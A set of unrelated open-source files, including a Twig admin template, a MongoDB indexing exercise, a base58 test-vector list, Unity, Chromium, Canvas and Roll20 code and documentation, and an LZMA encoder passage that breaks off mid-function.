<!DOCTYPE html> <html lang="fr"> <head> <meta charset="UTF-8"> <title>{% apply striptags %}{% block title '' %}{% endapply %} | Grafikart</title> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimal-ui" /> {% block stylesheets %} {{ encore_entry_link_tags('app') }} {{ encore_entry_link_tags('admin') }} {% endblock %} {% block javascripts %} {{ encore_entry_script_tags('app') }} {{ encore_entry_script_tags('admin') }} {% endblock %} <meta name="turbolinks-cache-control" content="no-cache" /> </head> <body class="{{ app.user and app.user.darkMode ? 'dark' : '' }}"> <nav class="header {% if headerWhite is defined %}is-white{% endif %}"> <ul class="header-nav"> <li class="header__home"><a href="{{ path('admin_home') }}" title="Accueil">{{ icon('home') }}</a></li> <li><a href="{{ path('admin_blog_index') }}" {{ menu_active('blog') }}>{{ icon('pen') }} Blog</a></li> <li><a href="{{ path('admin_course_index') }}" {{ menu_active('course') }}>{{ icon('video') }} Tutoriels</a></li> <li><a href="{{ path('admin_formation_index') }}" {{ menu_active('formation') }}>{{ icon('lines') }} Formation</a></li> <li><a href="{{ path('admin_technology_index') }}" {{ menu_active('technology') }}>{{ icon('lines') }} Technologie</a></li> <li><a href="{{ path('admin_forum-tag_index') }}" {{ menu_active('forum_tag') }}>{{ icon('comments') }} Forum</a></li> <li><a href="{{ path('admin_user_index') }}" {{ menu_active('user') }}>{{ icon('user') }} Utilisateurs</a></li> <li><a href="{{ path('admin_live_index') }}" {{ menu_active('live') }}>{{ icon('video') }} Live</a></li> <li><a href="{{ path('admin_premium_index') }}" {{ menu_active('premium') }}>{{ icon('star') }} Premium</a></li> </ul> {% include 'partials/header-side.html.twig' %} </nav> <div class="dashboard py5"> {% include 'partials/flash.html.twig' with {floating: true, duration: 2} %} {% block body '' %} </div> <script> window.grafikart = { ADMIN: {{ is_granted('SUPERADMIN') ? 'true' : 'false' }}, USER: {{ app.user ? app.user.id : 'null' }}, MERCURE_URL: "{{ mercure_subscribe_url }}", NOTIFICATION: new Date({{ (app.user and app.user.notificationsReadAt) ? app.user.notificationsReadAt.timestamp : 0 }} * 1000) } </script> </body> </html>
{ "pile_set_name": "Github" }
# MongoDB - Aula 06 - Exercício === Autor: Gabriel Tomé ###1 - Fazer uma query para o campo name utilizando explain para ver o resultado da busca ``` MacBook-Pro-de-Gabriel-Tome(mongod-3.0.7) pokemons> var query = {name:"Pikachu"} MacBook-Pro-de-Gabriel-Tome(mongod-3.0.7) pokemons> db.pokemons.find(query).explain() { "queryPlanner": { "plannerVersion": 1, "namespace": "pokemons.pokemons", "indexFilterSet": false, "parsedQuery": { "name": { "$eq": "Pikachu" } }, "winningPlan": { "stage": "COLLSCAN", "filter": { "name": { "$eq": "Pikachu" } }, "direction": "forward" }, "rejectedPlans": [ ] }, "serverInfo": { "host": "MacBook-Pro-de-Gabriel-Tome.local", "port": 27017, "version": "3.0.7", "gitVersion": "nogitversion" }, "ok": 1 } // com executionStats MacBook-Pro-de-Gabriel-Tome(mongod-3.0.7) pokemons> db.pokemons.find(query).explain('executionStats').executionStats { "executionSuccess": true, "nReturned": 1, "executionTimeMillis": 1, "totalKeysExamined": 0, "totalDocsExamined": 610, "executionStages": { "stage": "COLLSCAN", "filter": { "name": { "$eq": "Pikachu" } }, "nReturned": 1, "executionTimeMillisEstimate": 0, "works": 612, "advanced": 1, "needTime": 610, "needFetch": 0, "saveState": 4, "restoreState": 4, "isEOF": 1, "invalidates": 0, "direction": "forward", "docsExamined": 610 } } ``` ###2 - Criar um index um para o campo name ``` MacBook-Pro-de-Gabriel-Tome(mongod-3.0.7) pokemons> db.pokemons.getIndexes() [ { "v": 1, "key": { "_id": 1 }, "name": "_id_", "ns": "pokemons.pokemons" } ] MacBook-Pro-de-Gabriel-Tome(mongod-3.0.7) pokemons> db.pokemons.createIndex({name:1}) { "createdCollectionAutomatically": false, "numIndexesBefore": 1, "numIndexesAfter": 2, "ok": 1 } MacBook-Pro-de-Gabriel-Tome(mongod-3.0.7) pokemons> db.pokemons.getIndexes() [ { "v": 1, "key": { "_id": 1 }, "name": "_id_", "ns": "pokemons.pokemons" }, { "v": 1, "key": { "name": 1 }, "name": "name_1", "ns": "pokemons.pokemons" } ] ``` ###3 - Refazer a query para o campo name utilizando explain para ver o resultado da busca ``` MacBook-Pro-de-Gabriel-Tome(mongod-3.0.7) pokemons> db.pokemons.find(query).explain() { "queryPlanner": { "plannerVersion": 1, "namespace": "pokemons.pokemons", "indexFilterSet": false, "parsedQuery": { "name": { "$eq": "Pikachu" } }, "winningPlan": { "stage": "FETCH", "inputStage": { "stage": "IXSCAN", "keyPattern": { "name": 1 }, "indexName": "name_1", "isMultiKey": false, "direction": "forward", "indexBounds": { "name": [ "[\"Pikachu\", \"Pikachu\"]" ] } } }, "rejectedPlans": [ ] }, "serverInfo": { "host": "MacBook-Pro-de-Gabriel-Tome.local", "port": 27017, "version": "3.0.7", "gitVersion": "nogitversion" }, "ok": 1 } MacBook-Pro-de-Gabriel-Tome(mongod-3.0.7) pokemons> db.pokemons.find(query).explain('executionStats').executionStats { "executionSuccess": true, "nReturned": 1, "executionTimeMillis": 74, "totalKeysExamined": 1, "totalDocsExamined": 1, "executionStages": { "stage": "FETCH", "nReturned": 1, "executionTimeMillisEstimate": 70, "works": 2, "advanced": 1, "needTime": 0, "needFetch": 0, "saveState": 1, "restoreState": 1, "isEOF": 1, "invalidates": 0, "docsExamined": 1, "alreadyHasObj": 0, "inputStage": { "stage": "IXSCAN", "nReturned": 1, "executionTimeMillisEstimate": 70, "works": 1, "advanced": 1, "needTime": 0, "needFetch": 0, "saveState": 1, "restoreState": 1, "isEOF": 1, "invalidates": 0, "keyPattern": { "name": 1 }, "indexName": "name_1", "isMultiKey": false, "direction": "forward", "indexBounds": { "name": [ "[\"Pikachu\", \"Pikachu\"]" ] }, "keysExamined": 1, "dupsTested": 0, "dupsDropped": 0, "seenInvalidated": 0, "matchTested": 0 } } } ``` ###4 - Fazer uma query para dois campos juntos utilizando explain para ver o resultado da busca ``` MacBook-Pro-de-Gabriel-Tome(mongod-3.0.7) pokemons> var query = {$and: [ {speed: {$gt:50}}, {attack: {$gt:50}} ]} MacBook-Pro-de-Gabriel-Tome(mongod-3.0.7) pokemons> query { "$and": [ { "speed": { "$gt": 50 } }, { "attack": { "$gt": 50 } } ] } MacBook-Pro-de-Gabriel-Tome(mongod-3.0.7) pokemons> db.pokemons.find(query).explain('executionStats').executionStats { "executionSuccess": true, "nReturned": 323, "executionTimeMillis": 1, "totalKeysExamined": 0, "totalDocsExamined": 610, "executionStages": { "stage": "COLLSCAN", "filter": { "$and": [ { "attack": { "$gt": 50 } }, { "speed": { "$gt": 50 } } ] }, "nReturned": 323, "executionTimeMillisEstimate": 0, "works": 612, "advanced": 323, "needTime": 288, "needFetch": 0, "saveState": 4, "restoreState": 4, "isEOF": 1, "invalidates": 0, "direction": "forward", "docsExamined": 610 } } ``` ###5 - Criar um index para esses dois campos juntos ``` MacBook-Pro-de-Gabriel-Tome(mongod-3.0.7) pokemons> db.pokemons.createIndex({speed:1, attack:1}) { "createdCollectionAutomatically": false, "numIndexesBefore": 2, "numIndexesAfter": 3, "ok": 1 } MacBook-Pro-de-Gabriel-Tome(mongod-3.0.7) pokemons> db.pokemons.getIndexes() [ { "v": 1, "key": { "_id": 1 }, "name": "_id_", "ns": "pokemons.pokemons" }, { "v": 1, "key": { "name": 1 }, "name": "name_1", "ns": "pokemons.pokemons" }, { "v": 1, "key": { "speed": 1, "attack": 1 }, "name": "speed_1_attack_1", "ns": "pokemons.pokemons" } ] ``` ###6 - Refazer a query para os dois campos juntos utilizando explain para ver o resultado da busca ``` MacBook-Pro-de-Gabriel-Tome(mongod-3.0.7) pokemons> db.pokemons.find(query).explain('executionStats').executionStats { "executionSuccess": true, "nReturned": 323, "executionTimeMillis": 2, "totalKeysExamined": 347, "totalDocsExamined": 323, "executionStages": { "stage": "FETCH", "nReturned": 323, "executionTimeMillisEstimate": 0, "works": 348, "advanced": 323, "needTime": 24, "needFetch": 0, "saveState": 2, "restoreState": 2, "isEOF": 1, "invalidates": 0, "docsExamined": 323, "alreadyHasObj": 0, "inputStage": { "stage": "IXSCAN", "nReturned": 323, "executionTimeMillisEstimate": 0, "works": 347, "advanced": 323, "needTime": 24, "needFetch": 0, "saveState": 2, "restoreState": 2, "isEOF": 1, "invalidates": 0, "keyPattern": { "speed": 1, "attack": 1 }, "indexName": "speed_1_attack_1", "isMultiKey": false, "direction": "forward", "indexBounds": { "speed": [ "(50.0, inf.0]" ], "attack": [ "(50.0, inf.0]" ] }, "keysExamined": 347, "dupsTested": 0, "dupsDropped": 0, "seenInvalidated": 0, "matchTested": 0 } } } ```
{ "pile_set_name": "Github" }
[ [ "" ], [ "x" ], [ "37qgekLpCCHrQuSjvX3fs496FWTGsHFHizjJAs6NPcR47aefnnCWECAhHV6E3g4YN7u7Yuwod5Y" ], [ "dzb7VV1Ui55BARxv7ATxAtCUeJsANKovDGWFVgpTbhq9gvPqP3yv" ], [ "MuNu7ZAEDFiHthiunm7dPjwKqrVNCM3mAz6rP9zFveQu14YA8CxExSJTHcVP9DErn6u84E6Ej7S" ], [ "rPpQpYknyNQ5AEHuY6H8ijJJrYc2nDKKk9jjmKEXsWzyAQcFGpDLU2Zvsmoi8JLR7hAwoy3RQWf" ], [ "4Uc3FmN6NQ6zLBK5QQBXRBUREaaHwCZYsGCueHauuDmJpZKn6jkEskMB2Zi2CNgtb5r6epWEFfUJq" ], [ "7aQgR5DFQ25vyXmqZAWmnVCjL3PkBcdVkBUpjrjMTcghHx3E8wb" ], [ "17QpPprjeg69fW1DV8DcYYCKvWjYhXvWkov6MJ1iTTvMFj6weAqW7wybZeH57WTNxXVCRH4veVs" ], [ "KxuACDviz8Xvpn1xAh9MfopySZNuyajYMZWz16Dv2mHHryznWUp3" ], [ "7nK3GSmqdXJQtdohvGfJ7KsSmn3TmGqExug49583bDAL91pVSGq5xS9SHoAYL3Wv3ijKTit65th" ], [ "cTivdBmq7bay3RFGEBBuNfMh2P1pDCgRYN2Wbxmgwr4ki3jNUL2va" ], [ "gjMV4vjNjyMrna4fsAr8bWxAbwtmMUBXJS3zL4NJt5qjozpbQLmAfK1uA3CquSqsZQMpoD1g2nk" ], [ "emXm1naBMoVzPjbk7xpeTVMFy4oDEe25UmoyGgKEB1gGWsK8kRGs" ], [ "7VThQnNRj1o3Zyvc7XHPRrjDf8j2oivPTeDXnRPYWeYGE4pXeRJDZgf28ppti5hsHWXS2GSobdqyo" ], [ "1G9u6oCVCPh2o8m3t55ACiYvG1y5BHewUkDSdiQarDcYXXhFHYdzMdYfUAhfxn5vNZBwpgUNpso" ], [ "31QQ7ZMLkScDiB4VyZjuptr7AEc9j1SjstF7pRoLhHTGkW4Q2y9XELobQmhhWxeRvqcukGd1XCq" ], [ "DHqKSnpxa8ZdQyH8keAhvLTrfkyBMQxqngcQA5N8LQ9KVt25kmGN" ], [ "2LUHcJPbwLCy9GLH1qXmfmAwvadWw4bp4PCpDfduLqV17s6iDcy1imUwhQJhAoNoN1XNmweiJP4i" ], [ "7USRzBXAnmck8fX9HmW7RAb4qt92VFX6soCnts9s74wxm4gguVhtG5of8fZGbNPJA83irHVY6bCos" ], [ "1DGezo7BfVebZxAbNT3XGujdeHyNNBF3vnficYoTSp4PfK2QaML9bHzAMxke3wdKdHYWmsMTJVu" ], [ "2D12DqDZKwCxxkzs1ZATJWvgJGhQ4cFi3WrizQ5zLAyhN5HxuAJ1yMYaJp8GuYsTLLxTAz6otCfb" ], [ "8AFJzuTujXjw1Z6M3fWhQ1ujDW7zsV4ePeVjVo7D1egERqSW9nZ" ], [ "163Q17qLbTCue8YY3AvjpUhotuaodLm2uqMhpYirsKjVqnxJRWTEoywMVY3NbBAHuhAJ2cF9GAZ" ], [ "2MnmgiRH4eGLyLc9eAqStzk7dFgBjFtUCtu" ], [ "461QQ2sYWxU7H2PV4oBwJGNch8XVTYYbZxU" ], [ "2UCtv53VttmQYkVU4VMtXB31REvQg4ABzs41AEKZ8UcB7DAfVzdkV9JDErwGwyj5AUHLkmgZeobs" ], [ "cSNjAsnhgtiFMi6MtfvgscMB2Cbhn2v1FUYfviJ1CdjfidvmeW6mn" ], [ "gmsow2Y6EWAFDFE1CE4Hd3Tpu2BvfmBfG1SXsuRARbnt1WjkZnFh1qGTiptWWbjsq2Q6qvpgJVj" ], [ "nksUKSkzS76v8EsSgozXGMoQFiCoCHzCVajFKAXqzK5on9ZJYVHMD5CKwgmX3S3c7M1U3xabUny" ], [ "L3favK1UzFGgdzYBF2oBT5tbayCo4vtVBLJhg2iYuMeePxWG8SQc" ], [ "7VxLxGGtYT6N99GdEfi6xz56xdQ8nP2dG1CavuXx7Rf2PrvNMTBNevjkfgs9JmkcGm6EXpj8ipyPZ" ], [ "2mbZwFXF6cxShaCo2czTRB62WTx9LxhTtpP" ], [ "dB7cwYdcPSgiyAwKWL3JwCVwSk6epU2txw" ], [ "HPhFUhUAh8ZQQisH8QQWafAxtQYju3SFTX" ], [ "4ctAH6AkHzq5ioiM1m9T3E2hiYEev5mTsB" ], [ "Hn1uFi4dNexWrqARpjMqgT6cX1UsNPuV3cHdGg9ExyXw8HTKadbktRDtdeVmY3M1BxJStiL4vjJ" ], [ "Sq3fDbvutABmnAHHExJDgPLQn44KnNC7UsXuT7KZecpaYDMU9Txs" ], [ "6TqWyrqdgUEYDQU1aChMuFMMEimHX44qHFzCUgGfqxGgZNMUVWJ" ], [ "giqJo7oWqFxNKWyrgcBxAVHXnjJ1t6cGoEffce5Y1y7u649Noj5wJ4mmiUAKEVVrYAGg2KPB3Y4" ], [ "cNzHY5e8vcmM3QVJUcjCyiKMYfeYvyueq5qCMV3kqcySoLyGLYUK" ], [ "37uTe568EYc9WLoHEd9jXEvUiWbq5LFLscNyqvAzLU5vBArUJA6eydkLmnMwJDjkL5kXc2VK7ig" ], [ "EsYbG4tWWWY45G31nox838qNdzksbPySWc" ], [ "nbuzhfwMoNzA3PaFnyLcRxE9bTJPDkjZ6Rf6Y6o2ckXZfzZzXBT" ], [ "cQN9PoxZeCWK1x56xnz6QYAsvR11XAce3Ehp3gMUdfSQ53Y2mPzx" ], [ "1Gm3N3rkef6iMbx4voBzaxtXcmmiMTqZPhcuAepRzYUJQW4qRpEnHvMojzof42hjFRf8PE2jPde" ], [ "2TAq2tuN6x6m233bpT7yqdYQPELdTDJn1eU" ], [ "ntEtnnGhqPii4joABvBtSEJG6BxjT2tUZqE8PcVYgk3RHpgxgHDCQxNbLJf7ardf1dDk2oCQ7Cf" ], [ "Ky1YjoZNgQ196HJV3HpdkecfhRBmRZdMJk89Hi5KGfpfPwS2bUbfd" ], [ "2A1q1YsMZowabbvta7kTy2Fd6qN4r5ZCeG3qLpvZBMzCixMUdkN2Y4dHB1wPsZAeVXUGD83MfRED" ] ]
{ "pile_set_name": "Github" }
// // Copyright (c) Microsoft Corporation. // Licensed under the MIT License. // using System.Collections; using System.Collections.Generic; using UnityEngine; using Microsoft.MixedReality.Toolkit.UI; namespace Microsoft.MixedReality.Toolkit.Examples.Demos { [AddComponentMenu("Scripts/MRTK/Examples/SliderLunarLander")] public class SliderLunarLander : MonoBehaviour { [SerializeField] private Transform transformLandingGear = null; public void OnSliderUpdated(SliderEventData eventData) { if (transformLandingGear != null) { // Rotate the target object using Slider's eventData.NewValue transformLandingGear.localPosition = new Vector3(transformLandingGear.localPosition.x, 1.0f - eventData.NewValue, transformLandingGear.localPosition.z); } } } }
{ "pile_set_name": "Github" }
// Copyright 2013 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CONTENT_BROWSER_RENDERER_HOST_PEPPER_PEPPER_UDP_SOCKET_MESSAGE_FILTER_H_ #define CONTENT_BROWSER_RENDERER_HOST_PEPPER_PEPPER_UDP_SOCKET_MESSAGE_FILTER_H_ #include <string> #include "base/basictypes.h" #include "base/callback.h" #include "base/compiler_specific.h" #include "base/memory/ref_counted.h" #include "base/memory/scoped_ptr.h" #include "content/common/content_export.h" #include "content/public/common/process_type.h" #include "net/base/completion_callback.h" #include "net/base/ip_endpoint.h" #include "ppapi/c/pp_instance.h" #include "ppapi/c/pp_stdint.h" #include "ppapi/c/ppb_udp_socket.h" #include "ppapi/host/resource_message_filter.h" struct PP_NetAddress_Private; namespace net { class IOBuffer; class IOBufferWithSize; class UDPServerSocket; } namespace ppapi { class SocketOptionData; namespace host { struct ReplyMessageContext; } } namespace content { class BrowserPpapiHostImpl; struct SocketPermissionRequest; class CONTENT_EXPORT PepperUDPSocketMessageFilter : public ppapi::host::ResourceMessageFilter { public: PepperUDPSocketMessageFilter(BrowserPpapiHostImpl* host, PP_Instance instance, bool private_api); static size_t GetNumInstances(); protected: virtual ~PepperUDPSocketMessageFilter(); private: // ppapi::host::ResourceMessageFilter overrides. virtual scoped_refptr<base::TaskRunner> OverrideTaskRunnerForMessage( const IPC::Message& message) OVERRIDE; virtual int32_t OnResourceMessageReceived( const IPC::Message& msg, ppapi::host::HostMessageContext* context) OVERRIDE; int32_t OnMsgSetOption( const ppapi::host::HostMessageContext* context, PP_UDPSocket_Option name, const ppapi::SocketOptionData& value); int32_t OnMsgBind(const ppapi::host::HostMessageContext* context, const PP_NetAddress_Private& addr); int32_t OnMsgRecvFrom(const ppapi::host::HostMessageContext* context, int32_t num_bytes); int32_t OnMsgSendTo(const ppapi::host::HostMessageContext* context, const std::string& data, const PP_NetAddress_Private& addr); int32_t OnMsgClose(const ppapi::host::HostMessageContext* context); void DoBind(const ppapi::host::ReplyMessageContext& context, const PP_NetAddress_Private& addr); void DoSendTo(const ppapi::host::ReplyMessageContext& context, const std::string& data, const PP_NetAddress_Private& addr); void Close(); void OnRecvFromCompleted(const ppapi::host::ReplyMessageContext& context, int net_result); void OnSendToCompleted(const ppapi::host::ReplyMessageContext& context, int net_result); void SendBindReply(const ppapi::host::ReplyMessageContext& context, int32_t result, const PP_NetAddress_Private& addr); void SendRecvFromReply(const ppapi::host::ReplyMessageContext& context, int32_t result, const std::string& data, const PP_NetAddress_Private& addr); void SendSendToReply(const ppapi::host::ReplyMessageContext& context, int32_t result, int32_t bytes_written); void SendBindError(const ppapi::host::ReplyMessageContext& context, int32_t result); void SendRecvFromError(const ppapi::host::ReplyMessageContext& context, int32_t result); void SendSendToError(const ppapi::host::ReplyMessageContext& context, int32_t result); bool allow_address_reuse_; bool allow_broadcast_; scoped_ptr<net::UDPServerSocket> socket_; bool closed_; scoped_refptr<net::IOBuffer> recvfrom_buffer_; scoped_refptr<net::IOBufferWithSize> sendto_buffer_; net::IPEndPoint recvfrom_address_; bool external_plugin_; bool private_api_; int render_process_id_; int render_frame_id_; DISALLOW_COPY_AND_ASSIGN(PepperUDPSocketMessageFilter); }; } // namespace content #endif // CONTENT_BROWSER_RENDERER_HOST_PEPPER_PEPPER_UDP_SOCKET_MESSAGE_FILTER_H_
{ "pile_set_name": "Github" }
#include "SYS.h" SYS_call_2(statfs)
{ "pile_set_name": "Github" }
# Guides Below is a sorted list of guides created by members of the osu!community; most of which had originated from the osu!forums and have been ported over to the osu! wiki. ## Beatmapping *Main page: [Beatmapping](/wiki/Beatmapping)* - [Adding Custom Hitsounds](Adding_Custom_Hitsounds) - [Audio Editing](Audio_Editing) - [Changing the Artist or Title](Changing_the_Artist_or_Title) - [Changing the Title Text](/wiki/Beatmaps/Title_Text#changing-title-text) - [Collab Information](Collab_Information) - [Compressing Files](Compressing_Files) - [Custom Hitsound Library](Custom_Hitsound_Library) - [Custom Sample Overrides](Custom_Sample_Overrides) - [Getting Songs From Video Games](Getting_Songs_From_Video_Games) - [How to Time Songs](How_to_Time_Songs) - [Music Theory](Music_Theory) - [osu!mania Mapping Guide](osu!mania_Mapping_Guide) - [Setting the Offset on the Correct Beat](Setting_the_Offset_on_the_Correct_Beat) - [Starting a Beatmap Project](Starting_a_Beatmap_Project) - [Videos From YouTube](Videos_From_Youtube) ## Modding *Main page: [Modding](/wiki/Modding)* - [Getting Your Map Modded](Getting_Your_Map_Modded) ## Playing - [Beginner's Tutorial](Beginner's_Tutorial) - [How to Play osu!mania](How_to_Play_osu!mania) - [How to Use the Offset Wizard](How_to_Use_the_Offset_Wizard) - [Searching and Downloading Beatmaps](Searching_and_Downloading_Beatmaps) - [Tablet Purchase](Tablet_Purchase) - [Tips and Tricks on Skill Improvement](Tips_and_Tricks_on_Skill_Improvement) ## Skinning *Main page: [Skinning](/wiki/Skinning)* *See also: [Skinning Tutorial](/wiki/Skinning_Tutorial)* - [Cropping with Complex Backgrounds](Cropping_with_Complex_Backgrounds) - [Cropping with Simple Backgrounds](Cropping_with_Simple_Backgrounds) - [Making Properly Centered Spinners](Making_Properly_Centered_Spinners) ## Miscellaneous - [Discord Rich Presence](Discord_Rich_Presence) - [Live Streaming osu!](Live_Streaming_osu!) - [OpenGL Support Issues](OpenGL_Support_Issues) - [Recording osu!](Recording_osu!)
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <package xmlns="http://schemas.microsoft.com/packaging/2011/08/nuspec.xsd"> <metadata> <id>Apworks.ObjectContainers.Unity</id> <version>2.5.4878.35266</version> <title>Apworks Unity Object Container</title> <authors>apworks.org</authors> <owners>apworks.org</owners> <requireLicenseAcceptance>false</requireLicenseAcceptance> <description>Apworks object container implementation of Microsoft Patterns &amp; Practices Unity Application Block.</description> <copyright>Copyright © 2009-2013, apworks.org</copyright> <dependencies> <dependency id="Castle.Core" version="3.2.0" /> <dependency id="Unity" version="2.1.505.2" /> <dependency id="Apworks" version="2.5.4878.35266" /> </dependencies> </metadata> <files> <file src="lib\net40\Apworks.ObjectContainers.Unity.dll" target="lib\net40\Apworks.ObjectContainers.Unity.dll" /> <file src="lib\net40\Apworks.ObjectContainers.Unity.XML" target="lib\net40\Apworks.ObjectContainers.Unity.XML" /> </files> </package>
{ "pile_set_name": "Github" }
'use strict'; module.exports = function (cb) { var stdin = process.stdin; var ret = ''; if (stdin.isTTY) { setImmediate(cb, ''); return; } stdin.setEncoding('utf8'); stdin.on('readable', function () { var chunk; while (chunk = stdin.read()) { ret += chunk; } }); stdin.on('end', function () { cb(ret); }); }; module.exports.buffer = function (cb) { var stdin = process.stdin; var ret = []; var len = 0; if (stdin.isTTY) { setImmediate(cb, new Buffer('')); return; } stdin.on('readable', function () { var chunk; while (chunk = stdin.read()) { ret.push(chunk); len += chunk.length; } }); stdin.on('end', function () { cb(Buffer.concat(ret, len)); }); };
{ "pile_set_name": "Github" }
## SyncPage * Skype: RobinKuiper.eu * Discord: Atheos#1095 * Roll20: https://app.roll20.net/users/1226016/robin * Github: https://github.com/RobinKuiper/Roll20APIScripts * Reddit: https://www.reddit.com/user/robinkuiper/ * Patreon: https://patreon.com/robinkuiper * Paypal.me: https://www.paypal.me/robinkuiper --- ``` I got asked by someone if it was possible to show/hide certain tokens for certain players. I came up with this. This is the first Beta release, and is probably still prone to bugs. Let me know if you have any troubles/suggestions. ``` SyncPage gives you a way to sync pages. If an object is created, changed or removed on one of the synced pages, it will also be on the others. It also has commands to hide/show specific tokens on different synced pages, which gives you a way to hide/show certain tokens for players by dragging a player to another synced page. Due to API limitations, only tokens with an image that is in your library will be added with that image on the synced page(s), tokens with images not in your library will get the default token image. ### How It Works ``` NOTE: I wanted to do this automatically, but at the moment Roll20 doesn't allow the creation of pages through the API. ``` You create a new page with exactly the same name as the page you want to sync, and give it a '_synced' prefix, eg.: ![Page Sync Demo](https://i.imgur.com/VAPEBy4.png "Page Sync Demo") The initial page will be synced (with all objects on it) to the newly created page, and everything that changes on one of the pages will now also change on the other pages. After this you can bring up the `SyncPage Menu` by using the `!sync` command, eg.: ![Menu](https://i.imgur.com/ZvAtEtM.png "Menu") With this menu you can hide/show specific tokens on the different synced pages. ``` NOTE: A token with the "Show Here" or "Hide Here" flag will always go before doing "Show on Other pages" or "Hide on Other pages" ``` Now you can drag specific players to one of the synced maps to show them only the things they need to see. ![Player Demo](https://i.imgur.com/o1cCyEZ.png "Player Demo") ### Config ![Config Menu](https://i.imgur.com/SxLZPWr.png "Config Menu") * **Command** - The command you want to use for this script. * **Reload Refresh** - Refresh the synced pages on a reload. * **True Copy** - Will really duplicate the page, with all tokens, drawings, texts, etc. If enabled it will trigger on duplicating a page. ### Commands * **!sync** - Shows the SyncPage Menu. * **!sync config** - Shows the config menu. * **!sync show** - Sets the `show here` flag to the selected token(s). * **!sync hide** - Sets the `hide here` flag to the selected token(s). * **!sync show others** - Sets the `show others` flag to the selected token(s). * **!sync hide others** - Sets the `hide others` flag to the selected token(s). #### Changelog **28-04-2018 - 0.1.9** * Added a "true copy" feature. Pages can be really duplicated now.
{ "pile_set_name": "Github" }
/* * Copyright (C) 2017 - present Instructure, Inc. * * This file is part of Canvas. * * Canvas is free software: you can redistribute it and/or modify it under * the terms of the GNU Affero General Public License as published by the Free * Software Foundation, version 3 of the License. * * Canvas is distributed in the hope that it will be useful, but WITHOUT ANY * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR * A PARTICULAR PURPOSE. See the GNU Affero General Public License for more * details. * * You should have received a copy of the GNU Affero General Public License along * with this program. If not, see <http://www.gnu.org/licenses/>. */ import React from 'react' import {shallow, mount} from 'enzyme' import ActAsModal from '../ActAsModal' import ActAsMask from '../ActAsMask' import ActAsPanda from '../ActAsPanda' import {Text, Avatar} from '@instructure/ui-elements' import {Table} from '@instructure/ui-table' import {Spinner} from '@instructure/ui-spinner' import {Button} from '@instructure/ui-buttons' const props = { user: { name: 'test user', short_name: 'foo', id: '5', avatar_image_url: 'testImageUrl', sortable_name: 'bar, baz', email: '[email protected]', pseudonyms: [ { login_id: 'qux', sis_id: 555, integration_id: 222 }, { login_id: 'tic', sis_id: 777, integration_id: 888 } ] } } describe('ActAsModal', () => { it('renders with panda svgs, user avatar, table, and proceed button present', () => { const wrapper = shallow(<ActAsModal {...props} />) expect(wrapper).toMatchSnapshot() const mask = wrapper.find(ActAsMask) const panda = wrapper.find(ActAsPanda) const button = wrapper.find(Button) expect(mask.exists()).toBeTruthy() expect(panda.exists()).toBeTruthy() expect(button.exists()).toBeTruthy() }) it('renders avatar with user image url', () => { const wrapper = shallow(<ActAsModal {...props} />) const avatar = wrapper.find(Avatar) expect(avatar.props().src).toBe('testImageUrl') }) test('it renders the table with correct user information', () => { const wrapper = mount(<ActAsModal {...props} />) const tables = wrapper.find(Table) expect(tables).toHaveLength(3) const textContent = [] tables.find('tr').forEach(row => { row.find(Text).forEach(rowContent => { textContent.push(rowContent.props().children) }) }) const tableText = textContent.join(' ') const {user} = props expect(tableText).toContain(user.name) expect(tableText).toContain(user.short_name) expect(tableText).toContain(user.sortable_name) expect(tableText).toContain(user.email) user.pseudonyms.forEach(pseudonym => { expect(tableText).toContain(pseudonym.login_id) expect(tableText).toContain(pseudonym.sis_id) expect(tableText).toContain(pseudonym.integration_id) }) }) test('it should only display loading spinner if state is loading', done => { const wrapper = shallow(<ActAsModal {...props} />) expect(wrapper.find(Spinner).exists()).toBeFalsy() wrapper.setState({isLoading: true}, () => { expect(wrapper.find(Spinner).exists()).toBeTruthy() done() }) }) })
{ "pile_set_name": "Github" }
/* Lzma86Enc.c -- LZMA + x86 (BCJ) Filter Encoder 2009-08-14 : Igor Pavlov : Public domain */ #include <string.h> #include "Lzma86.h" #include "Alloc.h" #include "Bra.h" #include "LzmaEnc.h" #define SZE_OUT_OVERFLOW SZE_DATA_ERROR static void *SzAlloc(void *p, size_t size) { p = p; return MyAlloc(size); } static void SzFree(void *p, void *address) { p = p; MyFree(address); } int Lzma86_Encode(Byte *dest, size_t *destLen, const Byte *src, size_t srcLen, int level, UInt32 dictSize, int filterMode) { ISzAlloc g_Alloc = { SzAlloc, SzFree }; size_t outSize2 = *destLen; Byte *filteredStream; Bool useFilter; int mainResult = SZ_ERROR_OUTPUT_EOF; CLzmaEncProps props; LzmaEncProps_Init(&props); props.level = level; props.dictSize = dictSize; *destLen = 0; if (outSize2 < LZMA86_HEADER_SIZE) return SZ_ERROR_OUTPUT_EOF; { int i; UInt64 t = srcLen; for (i = 0; i < 8; i++, t >>= 8) dest[LZMA86_SIZE_OFFSET + i] = (Byte)t; } filteredStream = 0; useFilter = (filterMode != SZ_FILTER_NO); if (useFilter) { if (srcLen != 0) { filteredStream = (Byte *)MyAlloc(srcLen); if (filteredStream == 0) return SZ_ERROR_MEM; memcpy(filteredStream, src, srcLen); } { UInt32 x86State; x86_Convert_Init(x86State); x86_Convert(filteredStream, srcLen, 0, &x86State, 1); } } { size_t minSize = 0; Bool bestIsFiltered = False; /* passes for SZ_FILTER_AUTO: 0 - BCJ + LZMA 1 - LZMA 2 - BCJ + LZMA agaian, if pass 0 (BCJ + LZMA) is better. */ int numPasses = (filterMode == SZ_FILTER_AUTO) ? 3 : 1; int i; for (i = 0; i < numPasses; i++) { size_t outSizeProcessed = outSize2 - LZMA86_HEADER_SIZE; size_t outPropsSize = 5; SRes curRes; Bool curModeIsFiltered = (numPasses > 1 && i == numPasses - 1); if (curModeIsFiltered && !bestIsFiltered) break; if (useFilter && i == 0) curModeIsFiltered = True; curRes = LzmaEncode(dest + LZMA86_HEADER_SIZE, &outSizeProcessed, curModeIsFiltered ? filteredStream : src, srcLen, &props, dest + 1, &outPropsSize, 0, NULL, &g_Alloc, &g_Alloc); if (curRes != SZ_ERROR_OUTPUT_EOF) { if (curRes != SZ_OK) { mainResult = curRes; break; } if (outSizeProcessed <= minSize || mainResult != SZ_OK) { minSize = outSizeProcessed; bestIsFiltered = curModeIsFiltered; mainResult = SZ_OK; } } } dest[0] = (bestIsFiltered ? 1 : 0); *destLen = LZMA86_HEADER_SIZE + 